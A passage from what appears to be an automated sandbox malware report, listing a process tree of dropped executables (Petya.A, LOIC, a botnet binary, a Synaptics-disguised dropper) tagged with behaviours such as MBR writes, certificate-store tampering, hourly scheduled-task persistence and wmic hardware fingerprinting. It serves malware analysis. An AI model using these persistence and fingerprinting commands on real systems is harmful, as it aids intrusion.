                                                                                                              "C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /autorun /setuprun
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Writes to the Master Boot Record (MBR)
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Modifies Internet Explorer settings
                                                                                                              • Modifies system certificate store
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:4868
                                                                                                            • C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\dts\mydts\dts.exe" /setupsucc
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Writes to the Master Boot Record (MBR)
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:2328
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Modifies system certificate store
                                                                                                            PID:5160
                                                                                                            • C:\Users\Admin\AppData\Local\143df321-c779-4379-85e2-1de58651bf88\background.exe
                                                                                                              "C:\Users\Admin\AppData\Local\143df321-c779-4379-85e2-1de58651bf88\background.exe"
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Checks processor information in registry
                                                                                                              PID:4040
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
                                                                                                                6⤵
                                                                                                                  PID:6196
                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
                                                                                                                  6⤵
                                                                                                                    PID:6308
                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                                                                                                                    6⤵
                                                                                                                      PID:6336
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\us.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\us.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3624
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\jqqvLru0VAiH3z.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\jqqvLru0VAiH3z.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:1628
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5148
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\mimilove.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\mimilove.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3032
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\lol.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\lol.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  PID:3172
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"
                                                                                                                    5⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:7132
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\Lab01-02.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\Lab01-02.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:4516
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:6240
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\access.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\access.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:6344
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\nmixx.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\nmixx.exe"
                                                                                                                  4⤵
                                                                                                                  • Badlisted process makes network request
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:6496
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\qcoin133.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:7016
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\bmw_v1.7.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\bmw_v1.7.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Writes to the Master Boot Record (MBR)
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:1444
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\sunwukongs.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\sunwukongs.exe"
                                                                                                                  4⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3504
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\fscan32.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\fscan32.exe"
                                                                                                                  4⤵
                                                                                                                    PID:6368
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Files\qt51crk.exe"
                                                                                                                    4⤵
                                                                                                                      PID:7144
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Files\brbotnet.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Files\brbotnet.exe"
                                                                                                                      4⤵
                                                                                                                        PID:7652
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 7652 -s 1328
                                                                                                                          5⤵
                                                                                                                          • Program crash
                                                                                                                          PID:3428
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Files\1223.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"
                                                                                                                        4⤵
                                                                                                                          PID:1528
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Files\Serials_Checker.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Files\Serials_Checker.exe"
                                                                                                                          4⤵
                                                                                                                            PID:6448
                                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                              cmd /c "Serials_Checker.bat"
                                                                                                                              5⤵
                                                                                                                                PID:6496
                                                                                                                                • C:\Windows\system32\mode.com
                                                                                                                                  mode con: cols=90 lines=48
                                                                                                                                  6⤵
                                                                                                                                    PID:6188
                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                    wmic bios get serialnumber
                                                                                                                                    6⤵
                                                                                                                                      PID:7400
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic csproduct get uuid
                                                                                                                                      6⤵
                                                                                                                                        PID:7188
                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                        wmic cpu get serialnumber
                                                                                                                                        6⤵
                                                                                                                                          PID:7460
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic cpu get processorid
                                                                                                                                          6⤵
                                                                                                                                            PID:6952
                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                            wmic diskdrive get serialnumber
                                                                                                                                            6⤵
                                                                                                                                              PID:7216
                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                              wmic baseboard get serialnumber
                                                                                                                                              6⤵
                                                                                                                                                PID:7604
                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                wmic memorychip get serialnumber
                                                                                                                                                6⤵
                                                                                                                                                  PID:7468
                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                  wmic path Win32_NetworkAdapter where "PNPDeviceID like '%PCI%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
                                                                                                                                                  6⤵
                                                                                                                                                    PID:2404
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic PATH Win32_VideoController GET Description,PNPDeviceID
                                                                                                                                                    6⤵
                                                                                                                                                      PID:7828
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:4500
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:792
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:8052
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Files\file_b584670f7ec2f317.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Files\file_b584670f7ec2f317.exe"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:4020
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Files\01.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Files\01.exe"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:6272
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Files\666.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Files\666.exe"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:3952
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Files\Petya.A.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Files\Petya.A.exe"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:7536
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Files\Client.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Files\Client.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:4684
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\jd127.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Files\jd127.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:464
                                                                                                                                                            • C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                              C:\ProgramData\Synaptics\Synaptics.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                              PID:5268
                                                                                                                                                              • C:\Windows\SysWOW64\._cache_Synaptics.exe
                                                                                                                                                                "C:\Windows\system32\._cache_Synaptics.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                • Downloads MZ/PE file
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                PID:1520
                                                                                                                                                                • C:\Windows\SysWOW64\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe
                                                                                                                                                                  "C:\Windows\System32\Files\KuaiZip_Setup_-808202126_xiaopeng2_001.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Writes to the Master Boot Record (MBR)
                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:4012
                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    C:\Windows\system32\regsvr32.exe /u /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:3760
                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    C:\Windows\system32\regsvr32.exe /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Server Software Component: Terminal Services DLL
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:5844
                                                                                                                                                                  • C:\Program Files\¿ìѹ\X64\KZMount2.exe
                                                                                                                                                                    "C:\Program Files\¿ìѹ\X64\KZMount2.exe" -InstallDriver
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    PID:1612
                                                                                                                                                                  • C:\Program Files\¿ìѹ\X64\KZMount2.exe
                                                                                                                                                                    "C:\Program Files\¿ìѹ\X64\KZMount2.exe" -AssocAll
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                    PID:2204
                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    C:\Windows\system32\regsvr32.exe /s "C:\Program Files\¿ìѹ\X86\kuaizipUpdateChecker.dll"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Server Software Component: Terminal Services DLL
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:1856
                                                                                                                                                                  • C:\Program Files\¿ìѹ\X86\KuaiZip.exe
                                                                                                                                                                    "C:\Program Files\¿ìѹ\X86\KuaiZip.exe" -AssociateAll
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    • Modifies registry class
                                                                                                                                                                    PID:5628
                                                                                                                                                                  • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    "C:\Windows\System32\regsvr32.exe" "C:\Program Files\¿ìѹ\X64\KZipShell.dll" -s
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                    PID:4828
                                                                                                                                                                    • C:\Windows\system32\regsvr32.exe
                                                                                                                                                                      "C:\Program Files\¿ìѹ\X64\KZipShell.dll" -s
                                                                                                                                                                      5⤵
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      • Modifies system executable filetype association
                                                                                                                                                                      • Modifies registry class
                                                                                                                                                                      PID:2132
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /delete /tn KuaiZip_Update /f
                                                                                                                                                                    4⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:6040
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn KuaiZip_Update /tr "C:\PROGRA~1\F85A~1\X86\Update.exe" /sc hourly
                                                                                                                                                                    4⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                    PID:2496
                                                                                                                                                                  • C:\Program Files\¿ìѹ\X86\KZReport.exe
                                                                                                                                                                    "C:\Program Files\¿ìѹ\X86\KZReport.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Writes to the Master Boot Record (MBR)
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                    PID:1268
                                                                                                                                                                • C:\Windows\SysWOW64\Files\svchost.exe
                                                                                                                                                                  "C:\Windows\System32\Files\svchost.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                                  PID:1612
                                                                                                                                                                • C:\Windows\SysWOW64\Files\support.client.exe
                                                                                                                                                                  "C:\Windows\System32\Files\support.client.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Manipulates Digital Signatures
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  • Modifies system certificate store
                                                                                                                                                                  PID:4720
                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
                                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:5304
                                                                                                                                                                  • C:\Windows\SysWOW64\Files\Ebu.exe
                                                                                                                                                                    "C:\Windows\System32\Files\Ebu.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:3088
                                                                                                                                                                  • C:\Windows\SysWOW64\Files\q-AMD64-Windows.exe
                                                                                                                                                                    "C:\Windows\System32\Files\q-AMD64-Windows.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:5508
                                                                                                                                                                    • C:\Windows\SysWOW64\Files\q-AMD64-Windows.exe
                                                                                                                                                                      "C:\Windows\System32\Files\q-AMD64-Windows.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      PID:5172
                                                                                                                                                                  • C:\Windows\SysWOW64\Files\cryptography_module_windows.exe
                                                                                                                                                                    "C:\Windows\System32\Files\cryptography_module_windows.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:5028
                                                                                                                                                                    • C:\Windows\SysWOW64\Files\cryptography_module_windows.exe
                                                                                                                                                                      "C:\Windows\System32\Files\cryptography_module_windows.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:404
                                                                                                                                                                  • C:\Windows\SysWOW64\Files\OpenArk32.exe
                                                                                                                                                                    "C:\Windows\System32\Files\OpenArk32.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4588
                                                                                                                                                                    • C:\Windows\SysWOW64\Files\setup.exe
                                                                                                                                                                      "C:\Windows\System32\Files\setup.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5248
                                                                                                                                                                      • C:\Windows\SysWOW64\Files\Tinder%20Bot.exe
                                                                                                                                                                        "C:\Windows\System32\Files\Tinder%20Bot.exe"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5332
                                                                                                                                                                        • C:\Windows\SysWOW64\Files\bnkrigkawd.exe
                                                                                                                                                                          "C:\Windows\System32\Files\bnkrigkawd.exe"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:2244
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:4980
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:4868
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:4560
                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:3716
                                                                                                                                                                              • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                C:\Windows\SysWOW64\svchost.exe -k kuaizipupdatesvc
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:5564
                                                                                                                                                                                • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\svchost.exe -k kuaizipupdatesvc
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                  PID:5928
                                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                                  C:\Windows\System32\svchost.exe -k kuaizipupdatesvc
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:3144
                                                                                                                                                                                  • C:\Windows\system32\drivers\KuaiZipDrive.sys
                                                                                                                                                                                    C:\Windows\system32\drivers\KuaiZipDrive.sys
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:224
                                                                                                                                                                                  • C:\PROGRA~1\F85A~1\X86\Update.exe
                                                                                                                                                                                    C:\PROGRA~1\F85A~1\X86\Update.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                    PID:4976
                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                    PID:1848
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:1120
                                                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:5324
                                                                                                                                                                                      • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                        C:\Windows\syswow64\MsiExec.exe -Embedding 4CD62178736E85367FDBE882F6F6D0D5 C
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:3156
                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBF82.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240697328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2900
                                                                                                                                                                                      • C:\Windows\system32\srtasks.exe
                                                                                                                                                                                        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:6808
                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding CF548738F52FC65197DD42BA0E962B79
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:6928
                                                                                                                                                                                      • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                        C:\Windows\system32\vssvc.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                        PID:4204
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5544
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:5940
                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:5236
                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:6048
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:3604
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Files\Lab01-02.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\Files\Lab01-02.exe
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:6376
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:6420
                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:6432
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:6484
                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5404
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:6724
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:7532
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:5712
